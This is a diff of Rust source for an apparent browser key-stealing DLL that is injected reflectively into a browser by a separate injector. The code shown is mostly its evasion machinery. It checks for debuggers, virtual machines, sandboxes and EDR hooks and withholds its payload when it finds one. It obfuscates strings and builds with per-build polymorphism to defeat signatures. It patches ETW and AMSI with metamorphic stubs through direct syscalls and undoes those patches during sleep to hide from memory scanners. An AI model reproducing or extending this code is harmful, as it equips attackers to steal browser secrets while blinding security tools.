allocation_base: *mut c_void,
|
||||
allocation_protect: u32,
|
||||
region_size: usize,
|
||||
state: u32,
|
||||
protect: u32,
|
||||
_type: u32,
|
||||
}
|
||||
|
||||
const MEM_COMMIT: u32 = 0x1000;
|
||||
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
const PAGE_EXECUTE_WRITECOPY: u32 = 0x80;
|
||||
|
||||
/// Detect a call stack that originates from a suspicious module (a dumper / EDR
|
||||
/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how
|
||||
/// many distinct allocation regions are RWX — a process holding many RWX regions
|
||||
/// is either self-modifying or under an active memory scanner.
|
||||
unsafe fn suspicious_memory_maps() -> bool {
|
||||
let mut info: MemoryBasicInfo = std::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
let mut rwx: u32 = 0;
|
||||
while addr < usize::MAX - 16 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if info.state == MEM_COMMIT {
|
||||
let prot = info.protect & 0xFF;
|
||||
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
|
||||
rwx += 1;
|
||||
}
|
||||
}
|
||||
// Advance to next region; a zero-size region means stop.
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
// A healthy process rarely exceeds this; a debugger/dumper allocating scratch
|
||||
// RWX regions will. Keep the threshold high to avoid false positives.
|
||||
rwx >= 6
|
||||
}
|
||||
|
||||
/// Sweep committed pages and downgrade any writable+executable regions to
|
||||
/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot
|
||||
/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect
|
||||
/// (hash walk) so the guard doesn't import it statically.
|
||||
unsafe fn harden_image() -> bool {
|
||||
let mut info: MemoryBasicInfo = std::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
let mut anomaly = false;
|
||||
let mut down: u32 = 0;
|
||||
while addr < usize::MAX - 16 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if info.state == MEM_COMMIT {
|
||||
let prot = info.protect & 0xFF;
|
||||
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
|
||||
anomaly = true;
|
||||
if apires::dyn_downgrade_rwx(info.base_address, info.region_size) {
|
||||
down += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
let _ = down;
|
||||
anomaly
|
||||
}
|
||||
|
||||
/// Block the process from being dumped by a debugger using a debug-flag lock.
|
||||
/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the
|
||||
/// static import, so the guard doesn't declare this API in its PE imports.
|
||||
unsafe fn prevent_dump() -> bool {
|
||||
// ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is
|
||||
// being debugged at the kernel level.
|
||||
match apires::dyn_query_debug_flags() {
|
||||
Some(flags) => flags == 0,
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox.
|
||||
unsafe fn hooks_detected() -> bool {
|
||||
antihook::detect_hooks()
|
||||
}
|
||||
|
||||
/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate.
|
||||
/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report
|
||||
/// a refresh rate far below a physical panel. If the refresh rate is at or below
|
||||
/// the supplied ceiling, the environment is treated as virtual.
|
||||
///
|
||||
/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we
|
||||
/// allocate a wide buffer and read that offset directly, avoiding the layout
|
||||
/// pitfalls of the huge union in the real struct.
|
||||
unsafe fn low_refresh_display(ceiling_hz: u32) -> bool {
|
||||
let mut dm = [0u8; 240];
|
||||
let ok = dynapi::EnumDisplaySettingsW(
|
||||
ptr::null(),
|
||||
abi::ENUM_CURRENT_SETTINGS,
|
||||
dm.as_mut_ptr() as *mut c_void,
|
||||
);
|
||||
if ok == 0 {
|
||||
return false;
|
||||
}
|
||||
// DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at
|
||||
// +68/+70 tell us how big the returned structure is; only trust the field if
|
||||
// the driver confirmed at least that far.
|
||||
let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize;
|
||||
if dm_size < 176 {
|
||||
return false;
|
||||
}
|
||||
let freq = *(dm.as_ptr().add(176) as *const u32);
|
||||
freq != 0 && freq <= ceiling_hz
|
||||
}
|
||||
|
||||
/// Scan attached display devices for a known virtual driver name (RDP / generic
|
||||
/// Microsoft basic display). Encrypted signature so it isn't plaintext.
|
||||
unsafe fn virtual_display_driver() -> bool {
|
||||
// A fixed-size probe device record: we only need the DeviceString up to the
|
||||
// first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at
|
||||
// +32). Read via a raw buffer.
|
||||
let scan: [(obf::Slot, u32); 5] = [
|
||||
obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"),
|
||||
obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"),
|
||||
obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"),
|
||||
];
|
||||
const LENS: [usize; 5] = [14, 3, 13, 6, 15];
|
||||
|
||||
let mut i = 0u32;
|
||||
while i < 8 {
|
||||
let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32
|
||||
let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0);
|
||||
if ok == 0 {
|
||||
break;
|
||||
}
|
||||
let mut name: Vec<u8> = Vec::with_capacity(256);
|
||||
for ch in buf.iter().skip(32).take(120) {
|
||||
if *ch == 0 {
|
||||
break;
|
||||
}
|
||||
name.push(*ch as u8);
|
||||
}
|
||||
let nl = lower(&name);
|
||||
for (idx, s) in scan.iter().enumerate() {
|
||||
let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]);
|
||||
if contains(&nl, &plain[..LENS[idx]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Score + decision
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Run the full battery. `true` = environment looks hostile → do not start the
|
||||
/// payload. Score thresholds keep false positives low on clean hosts.
|
||||
pub fn run() -> bool {
|
||||
// Initialize syscall numbers and sleep encryption early
|
||||
unsafe {
|
||||
syscall::init_syscall_numbers();
|
||||
sleep::init_sleep_key();
|
||||
}
|
||||
|
||||
let mut score: u32 = 0;
|
||||
let seed = flow::run_time_nonce();
|
||||
|
||||
// Per-build polymorphic junk injected into the entry path so the emitted
|
||||
// bytes (and thus the artifact hash) differ on every build.
|
||||
flow::junk();
|
||||
flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; });
|
||||
|
||||
// Windows-only signchecks; everything here is x64 Windows.
|
||||
unsafe {
|
||||
// --- anti-debug (wrapped in an opaque dispatch so a static analyzer
|
||||
// can't cleanly pick a side; both arms are cheap) ---
|
||||
flow::opaque_choice(seed, || {
|
||||
// --- anti-debug ---
|
||||
if peb_being_debugged() {
|
||||
score += 3;
|
||||
}
|
||||
if peb_nt_global_flag() {
|
||||
score += 3;
|
||||
}
|
||||
if nt_debug_port() {
|
||||
score += 3;
|
||||
}
|
||||
if remote_debugger_present() {
|
||||
score += 2;
|
||||
}
|
||||
if !timing_sane() {
|
||||
score += 2;
|
||||
}
|
||||
}, || {});
|
||||
|
||||
// --- anti-VM (comprehensive, 16 vectors) ---
|
||||
// The antivm module aggregates: CPUID bit + vendor, CPU brand string,
|
||||
// VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry
|
||||
// artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly,
|
||||
// process count, user-input absence, VM DLLs, tool windows, disk
|
||||
// labels. It returns a cumulative score; map it onto ours with weight.
|
||||
let avm = antivm::score();
|
||||
if avm >= 6 {
|
||||
score += 5; // overwhelming evidence of virtualization
|
||||
} else if avm >= 3 {
|
||||
score += 3; // strong signals
|
||||
} else if avm >= 1 {
|
||||
score += 1; // weak/noisy signals only
|
||||
}
|
||||
|
||||
// Legacy direct checks kept as independent confirmation:
|
||||
if cpu_hypervisor() {
|
||||
score += 2;
|
||||
}
|
||||
if smbios_firmware() {
|
||||
score += 1;
|
||||
}
|
||||
if gather_system_quirks() {
|
||||
score += 2;
|
||||
}
|
||||
|
||||
// --- anti-analyze / sandbox (reliability-focused, corroborated) ---
|
||||
// The antisbx module uses a tiered model:
|
||||
// hard: Sleep acceleration / timer tampering — conclusive alone
|
||||
// strong: identity markers, empty desktop — rare on real machines
|
||||
// weak: quiet mouse, few windows — only counted with corroboration
|
||||
let sbx = antisbx::verdict(6, 250);
|
||||
if sbx.hard {
|
||||
score += 6; // physically impossible on a clean host
|
||||
}
|
||||
if sbx.score >= 6 {
|
||||
score += 4; // multiple corroborated strong signals
|
||||
} else if sbx.score >= 3 {
|
||||
score += 2;
|
||||
} else if sbx.score >= 1 {
|
||||
score += 1;
|
||||
}
|
||||
|
||||
// --- legacy direct checks ---
|
||||
if process_scan() {
|
||||
score += 3;
|
||||
}
|
||||
if env_probe() {
|
||||
score += 2;
|
||||
}
|
||||
|
||||
// --- anti-dump / memory hardening ---
|
||||
if suspicious_memory_maps() {
|
||||
score += 3;
|
||||
}
|
||||
let _ = harden_image(); // runs regardless; only scores via maps above
|
||||
if prevent_dump() {
|
||||
score += 3;
|
||||
}
|
||||
|
||||
// --- anti-hook (EDR / sandbox hot-patch detection) ---
|
||||
if hooks_detected() {
|
||||
score += 3;
|
||||
}
|
||||
|
||||
// --- anti-VM via display refresh signature ---
|
||||
// 45 Hz and below: virtual/remote display drivers report this; a physical
|
||||
// panel is almost never ≤ 45 Hz. Also scan for known virtual driver names.
|
||||
if low_refresh_display(45) {
|
||||
score += 3;
|
||||
}
|
||||
if virtual_display_driver() {
|
||||
score += 2;
|
||||
}
|
||||
}
|
||||
|
||||
// Threshold: a handful of independent signals means it's an analysis box.
|
||||
score >= 4
|
||||
}
|
||||
|
||||
/// Second-opinion sandbox check intended to be called by the worker thread
|
||||
/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps,
|
||||
/// absent user input) become more pronounced over time; transient noise
|
||||
/// fades. Returns `true` if the environment now looks like a sandbox —
|
||||
/// the caller should then wind down / exit.
|
||||
pub fn recheck_sandbox() -> bool {
|
||||
flow::junk();
|
||||
let v = antisbx::verify_second_pass();
|
||||
v.hard || v.score >= 3
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
//! recovery-key-extractor — Rust port of the injected browser key extractor.
|
||||
//!
|
||||
//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment
|
||||
//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT`
|
||||
//! commands over that named pipe. The DLL is reflectively mapped into the
|
||||
//! browser process by the Go injector, which starts a thread on the exported
|
||||
//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the
|
||||
//! image, resolves imports and relocations, and finally invokes `DllMain`.
|
||||
|
||||
#![allow(clippy::missing_safety_doc)]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
mod abi;
|
||||
mod antihook;
|
||||
mod antisbx;
|
||||
mod antivm;
|
||||
mod apires;
|
||||
mod dynapi;
|
||||
mod flow;
|
||||
mod gen;
|
||||
mod guard;
|
||||
mod obf;
|
||||
mod patch;
|
||||
mod payload;
|
||||
mod reflective;
|
||||
mod sleep;
|
||||
mod syscall;
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 {
|
||||
if reason == DLL_PROCESS_ATTACH {
|
||||
unsafe {
|
||||
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
|
||||
}
|
||||
// Guard first: if the environment looks like a debugger / VM / sandbox /
|
||||
// analysis box, refuse to run the payload. Only spawn the worker on a
|
||||
// clean host.
|
||||
if guard::run() {
|
||||
return 1;
|
||||
}
|
||||
// Defense patches: ETW silence, AMSI neuter, instrumentation-callback
|
||||
// clear. Applied via direct syscalls; wrapped in junk to break
|
||||
// signature alignment at DllMain.
|
||||
flow::junk();
|
||||
let _ = patch::apply_all();
|
||||
payload::on_attach(reserved as *const u16);
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
/// Reflective loader entry point. The Go injector resolves this export by name
|
||||
/// and starts a thread on it inside the target process.
|
||||
#[unsafe(no_mangle)]
|
||||
#[inline(never)]
|
||||
pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize {
|
||||
reflective::loader_impl(lpParameter)
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
//! Strong string obfuscation: position-dependent XOR keystream with per-string
|
||||
//! nonces and compile-time entropy.
|
||||
//!
|
||||
//! Unlike a single fixed-XOR, every byte is combined with its own keystream
|
||||
//! byte derived from `key`, `index`, and a nonce through a 4-round Feistel
|
||||
//! avalanche, so the ciphertext carries no repeating pattern and a plaintext
|
||||
//! signature never survives in `.rodata`.
|
||||
//!
|
||||
//! The encode happens at compile time in `const` context; the decode runs at
|
||||
//! runtime on the stack, and only the materialized buffer ever exists in memory
|
||||
//! briefly. Keystream is invertible so encode == decode.
|
||||
//!
|
||||
//! API:
|
||||
//! - `sig(key, nonce, plain)` → `(Slot, nonce)` bundle at compile time
|
||||
//! - `dec_sig(key, sig, len)` → plaintext buffer at runtime
|
||||
|
||||
/// Maximum supported string length (covers all current use cases).
|
||||
pub const MAX_LEN: usize = 64;
|
||||
|
||||
/// Fixed-width encrypted slot.
|
||||
pub type Slot = [u8; MAX_LEN];
|
||||
|
||||
/// Keystream byte using a 4-round Feistel-style avalanche so nearby positions
|
||||
/// and similar keys/nonces produce wildly different output.
|
||||
///
|
||||
/// The avalanche constants are folded with per-build values from `gen` so the
|
||||
/// keystream arithmetic *itself* differs between artifacts — a scanner cannot
|
||||
/// decrypt `.rodata` slots with the published constant set.
|
||||
#[inline(always)]
|
||||
const fn ks_byte(key: u8, i: usize, nonce: u32) -> u8 {
|
||||
// Per-build mix: changes every artifact's ciphertext AND the algorithm's
|
||||
// emitted arithmetic, breaking cross-sample signatures.
|
||||
let s = crate::gen::GEN_SEED ^ crate::gen::CFF_KEY;
|
||||
let m1 = 0x9E37_79B9u32 ^ (crate::gen::GEN_SEED & 0xFFFF);
|
||||
let m2 = 0x5D58_85A9u32 ^ ((crate::gen::CFF_KEY >> 16) & 0xFFFF);
|
||||
let m3 = 0x7F4A_7C15u32 ^ (crate::gen::GEN_SEED >> 16);
|
||||
let m4 = 0x85EBCA6Bu32 ^ (crate::gen::CFF_KEY & 0xFFFF);
|
||||
|
||||
let mut x = (key as u32)
|
||||
.wrapping_add((i as u32).wrapping_mul(m1))
|
||||
.wrapping_add(nonce)
|
||||
.wrapping_add(i as u32)
|
||||
.wrapping_add(s);
|
||||
|
||||
// Round 1
|
||||
x ^= x >> 13;
|
||||
x = x.wrapping_mul(m2);
|
||||
// Round 2
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(m3);
|
||||
// Round 3
|
||||
x ^= x << 7;
|
||||
x = x.wrapping_mul(m1 ^ 0x7F4A_7C15);
|
||||
// Round 4
|
||||
x ^= x >> 11;
|
||||
x = x.wrapping_mul(m4);
|
||||
|
||||
(x & 0xFF) as u8
|
||||
}
|
||||
|
||||
/// Compile-time encrypt `plain` into a `Slot` (zeros beyond `len`).
|
||||
pub const fn enc(key: u8, nonce: u32, plain: &[u8]) -> Slot {
|
||||
let mut out = [0u8; MAX_LEN];
|
||||
let mut i = 0;
|
||||
while i < plain.len() && i < MAX_LEN {
|
||||
out[i] = plain[i] ^ ks_byte(key, i, nonce);
|
||||
i += 1;
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// A signature bundled with its own keystream nonce, so encryption and
|
||||
/// decryption always agree no matter where the list is defined.
|
||||
pub const fn sig(key: u8, nonce: u32, plain: &[u8]) -> (Slot, u32) {
|
||||
(enc(key, nonce, plain), nonce)
|
||||
}
|
||||
|
||||
/// Decrypt a `(Slot, nonce)` signature to `len` bytes.
|
||||
pub fn dec_sig(key: u8, s: &(Slot, u32), len: usize) -> [u8; MAX_LEN] {
|
||||
dec(key, s.1, &s.0, len)
|
||||
}
|
||||
|
||||
/// Runtime decrypt a `Slot` in place, returning the plaintext (up to `len`).
|
||||
pub fn dec(key: u8, nonce: u32, slot: &Slot, len: usize) -> [u8; MAX_LEN] {
|
||||
let mut out = [0u8; MAX_LEN];
|
||||
let n = len.min(MAX_LEN);
|
||||
for i in 0..n {
|
||||
out[i] = slot[i] ^ ks_byte(key, i, nonce);
|
||||
}
|
||||
out
|
||||
}
|
||||
@@ -0,0 +1,483 @@
|
||||
//! Userland defense patches: ETW, AMSI, instrumentation callbacks.
|
||||
//!
|
||||
//! All memory modifications go through our own direct-syscall
|
||||
//! NtProtectVirtualMemory — never the hooked kernel32 path.
|
||||
//!
|
||||
//! Modern (2023+) evasion notes:
|
||||
//! - **Fixed byte-stubs are dead.** `xor eax,eax; ret` on EtwEventWrite and
|
||||
//! the classic 14-byte AmsiScanBuffer stub are public, signature-scanned
|
||||
//! patterns. Every stub here is *metamorphic*: several functionally
|
||||
//! identical templates with different register allocation / encodings,
|
||||
//! selected per-build from `gen`, so the patched bytes never match a
|
||||
//! published signature.
|
||||
//! - **Layer, don't rely on one target.** AMSI: AmsiScanBuffer (primary)
|
||||
//! + AmsiOpenSession (sessions fail). ETW: EtwEventWrite (primary) +
|
||||
//! EtwEventEnabled→FALSE (providers think they're disabled) + NtTraceEvent
|
||||
//! (deep cut) + EtwEventRegister (silent success).
|
||||
//! - **Sleep-evasion.** Memory-scanning EDRs inspect code sections while the
|
||||
//! implant sleeps. We restore original bytes before `secure_sleep` and
|
||||
//! re-apply afterwards (`suspend_all`/`resume_all`).
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::apires;
|
||||
use crate::flow;
|
||||
use crate::gen;
|
||||
use crate::syscall;
|
||||
use crate::syscall::{r as unmask, HASH_KEY};
|
||||
|
||||
// Verified ror-hashes (stored XORed with HASH_KEY; unmasked via syscall::r).
|
||||
use crate::syscall::{
|
||||
HASH_AMSI_SCAN_BUFFER,
|
||||
HASH_ETW_EVENT_WRITE,
|
||||
HASH_ETW_EVENT_REGISTER,
|
||||
HASH_NTTRACE_EVENT,
|
||||
HASH_MODULE_AMSI,
|
||||
};
|
||||
|
||||
// ror-hash of "AmsiOpenSession" (0xF27C009B) / "EtwEventEnabled" (0x93C4008A).
|
||||
const HASH_AMSI_OPEN_SESSION: u32 = 0xF27C_009B ^ HASH_KEY;
|
||||
const HASH_ETW_EVENT_ENABLED: u32 = 0x93C4_008A ^ HASH_KEY;
|
||||
|
||||
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
const PAGE_EXECUTE_READ: u32 = 0x20;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Patch bookkeeping (for sleep-evasion restore)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Saved original bytes of each patched site so they can be restored.
|
||||
struct PatchSite {
|
||||
addr: usize,
|
||||
len: usize,
|
||||
original: [u8; 32],
|
||||
/// true once the original bytes have been captured (survives suspend).
|
||||
primed: bool,
|
||||
/// true while our stub is currently applied.
|
||||
active: bool,
|
||||
}
|
||||
|
||||
static mut SITES: [PatchSite; 8] = [
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false },
|
||||
];
|
||||
|
||||
static mut SITE_NEXT: usize = 0;
|
||||
|
||||
/// Find an existing site for `addr` (survives suspend/resume cycles), else
|
||||
/// reserve a fresh slot.
|
||||
unsafe fn find_or_alloc_site(addr: usize, len: usize) -> Option<usize> {
|
||||
for i in 0..SITES.len() {
|
||||
if SITES[i].addr == addr {
|
||||
return Some(i);
|
||||
}
|
||||
}
|
||||
let mut slot = SITE_NEXT;
|
||||
for _ in 0..SITES.len() {
|
||||
let s = &mut SITES[slot];
|
||||
if s.addr == 0 {
|
||||
s.addr = addr;
|
||||
s.len = len;
|
||||
SITE_NEXT = (slot + 1) % SITES.len();
|
||||
return Some(slot);
|
||||
}
|
||||
slot = (slot + 1) % SITES.len();
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Capture the pristine bytes the first time a site is patched. On later
|
||||
/// resume cycles the originals are already stored, so this is skipped.
|
||||
unsafe fn snapshot(slot: usize) {
|
||||
let s = &mut SITES[slot];
|
||||
if s.primed {
|
||||
return;
|
||||
}
|
||||
for i in 0..s.len.min(32) {
|
||||
s.original[i] = ptr::read_volatile((s.addr + i) as *const u8);
|
||||
}
|
||||
s.primed = true;
|
||||
}
|
||||
|
||||
/// Write bytes to a (code) address, flipping protection via direct syscall.
|
||||
/// Optionally records the site for later restore.
|
||||
unsafe fn patch_memory(addr: usize, bytes: &[u8], save_for_restore: bool) -> bool {
|
||||
if addr == 0 {
|
||||
return false;
|
||||
}
|
||||
let mut slot: Option<usize> = None;
|
||||
if save_for_restore {
|
||||
slot = find_or_alloc_site(addr, bytes.len());
|
||||
if let Some(s) = slot {
|
||||
snapshot(s);
|
||||
SITES[s].active = true;
|
||||
}
|
||||
}
|
||||
|
||||
let mut base = addr as *mut c_void;
|
||||
let mut size = bytes.len();
|
||||
let mut old: u32 = 0;
|
||||
|
||||
let st = syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(),
|
||||
&mut base,
|
||||
&mut size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&mut old,
|
||||
);
|
||||
if st != 0 {
|
||||
if let Some(s) = slot {
|
||||
SITES[s].active = false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
ptr::copy_nonoverlapping(bytes.as_ptr(), addr as *mut u8, bytes.len());
|
||||
|
||||
let mut tmp: u32 = 0;
|
||||
let _ = syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(),
|
||||
&mut base,
|
||||
&mut size,
|
||||
old.max(PAGE_EXECUTE_READ),
|
||||
&mut tmp,
|
||||
);
|
||||
|
||||
flush_icache(addr, bytes.len());
|
||||
true
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn flush_icache(_addr: usize, _len: usize) {
|
||||
asm!("lfence", options(nostack, preserves_flags));
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn abi_current_process() -> usize {
|
||||
usize::MAX // (HANDLE)-1 pseudo-handle
|
||||
}
|
||||
|
||||
/// Restore all recorded patch sites to their original bytes and mark them
|
||||
/// inactive (so resume_all can re-patch from the stored originals).
|
||||
pub unsafe fn suspend_all() {
|
||||
for i in 0..SITES.len() {
|
||||
let s = &SITES[i];
|
||||
if s.active && s.addr != 0 {
|
||||
let mut base = s.addr as *mut c_void;
|
||||
let mut size = s.len;
|
||||
let mut old: u32 = 0;
|
||||
if syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(), &mut base, &mut size,
|
||||
PAGE_EXECUTE_READWRITE, &mut old,
|
||||
) == 0
|
||||
{
|
||||
ptr::copy_nonoverlapping(s.original.as_ptr(), s.addr as *mut u8, s.len);
|
||||
let mut tmp: u32 = 0;
|
||||
let _ = syscall::sys_nt_protect_virtual_memory(
|
||||
abi_current_process(), &mut base, &mut size,
|
||||
old.max(PAGE_EXECUTE_READ), &mut tmp,
|
||||
);
|
||||
flush_icache(s.addr, s.len);
|
||||
SITES[i].active = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Re-apply the recorded patches after waking from sleep. Reuses the stored
|
||||
/// pristine snapshots (sites matched by address in find_or_alloc_site), so
|
||||
/// each patch lands on its original bytes and stays restorable.
|
||||
pub unsafe fn resume_all() {
|
||||
apply_saved();
|
||||
}
|
||||
|
||||
/// Re-runs the individual patchers; each finds its existing site by address.
|
||||
fn apply_saved() {
|
||||
unsafe {
|
||||
let _ = patch_etw_saved();
|
||||
let _ = patch_etw_deep_saved();
|
||||
let _ = patch_amsi_saved();
|
||||
let _ = patch_amsi_opensession_saved();
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Metamorphic stub selection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Per-build variant index derived from gen constants (not the function's own
|
||||
/// address so the choice is stable across a single artifact but unique per
|
||||
/// build).
|
||||
fn variant(a: u32) -> usize {
|
||||
let v = gen::JUNK_VARIANT as u32;
|
||||
let t = (gen::OPAQUE_TAG as u32).wrapping_mul(0x9E37_79B9);
|
||||
(v.wrapping_add(t >> 24) % a) as usize
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 1. ETW patch — EtwEventWrite (primary)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Metamorphic no-op stubs for EtwEventWrite — all return STATUS_SUCCESS(0)
|
||||
/// and are 3-7 bytes of genuinely different encodings.
|
||||
fn etw_event_write_stub() -> &'static [u8] {
|
||||
match variant(6) {
|
||||
0 => &[0x33, 0xC0, 0xC3], // xor eax,eax ; ret
|
||||
1 => &[0x31, 0xC0, 0xC3], // xor eax,eax (alt) ; ret
|
||||
2 => &[0x48, 0x31, 0xC0, 0xC3], // xor rax,rax ; ret
|
||||
3 => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], // mov eax,0 ; ret
|
||||
4 => &[0x33, 0xC0, 0x90, 0xC3], // xor eax,eax ; nop ; ret
|
||||
_ => &[0x55, 0x48, 0x89, 0xE5, 0x31, 0xC0, 0x5D, 0xC3], // push rbp; mov rbp,rsp; xor eax,eax; pop rbp; ret
|
||||
}
|
||||
}
|
||||
|
||||
/// Metamorphic stubs for EtwEventEnabled — return FALSE(0).
|
||||
fn etw_event_enabled_stub() -> &'static [u8] {
|
||||
match variant(4) {
|
||||
0 => &[0x33, 0xC0, 0xC3],
|
||||
1 => &[0x31, 0xC0, 0xC3],
|
||||
2 => &[0x48, 0x31, 0xC0, 0xC3],
|
||||
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
|
||||
}
|
||||
}
|
||||
|
||||
fn etw_register_stub() -> &'static [u8] {
|
||||
match variant(3) {
|
||||
0 => &[0x33, 0xC0, 0xC3],
|
||||
1 => &[0x31, 0xC0, 0xC3],
|
||||
_ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3],
|
||||
}
|
||||
}
|
||||
|
||||
/// Patch ntdll!EtwEventWrite → polymorphic no-op.
|
||||
pub fn patch_etw() -> bool {
|
||||
unsafe { patch_etw_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_etw_saved() -> bool {
|
||||
let ntdll = apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return false;
|
||||
}
|
||||
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_WRITE));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, etw_event_write_stub(), true)
|
||||
}
|
||||
|
||||
/// Patch ntdll!EtwEventEnabled → returns FALSE, so every provider's
|
||||
/// "is this enabled?" check fails and the fast-path skips emission.
|
||||
pub fn patch_etw_eventenabled() -> bool {
|
||||
unsafe {
|
||||
let ntdll = apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return false;
|
||||
}
|
||||
let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_ENABLED));
|
||||
if target == 0 {
|
||||
return false;
|
||||
}
|
||||
patch_memory(target, etw_event_enabled_stub(), true)
|
||||
}
|
||||
}
|
||||
|
||||
/// Deeper ETW cut: NtTraceEvent + EtwEventRegister.
|
||||
pub fn patch_etw_deep() -> bool {
|
||||
unsafe { patch_etw_deep_saved() }
|
||||
}
|
||||
|
||||
unsafe fn patch_etw_deep_saved() -> bool {
|
||||
let ntdll = apires::ntdll_base();
|
||||
if ntdll == 0 {
|
||||
return false;
|
||||
}
|
||||
let mut ok = true;
|
||||
let trace = apires::export_by_hash_public(ntdll, unmask(HASH_NTTRACE_EVENT));
|
||||
if trace != 0 {
|
||||
ok &= patch_memory(trace, etw_event_write_stub(), true);
|
||||
}
|
||||
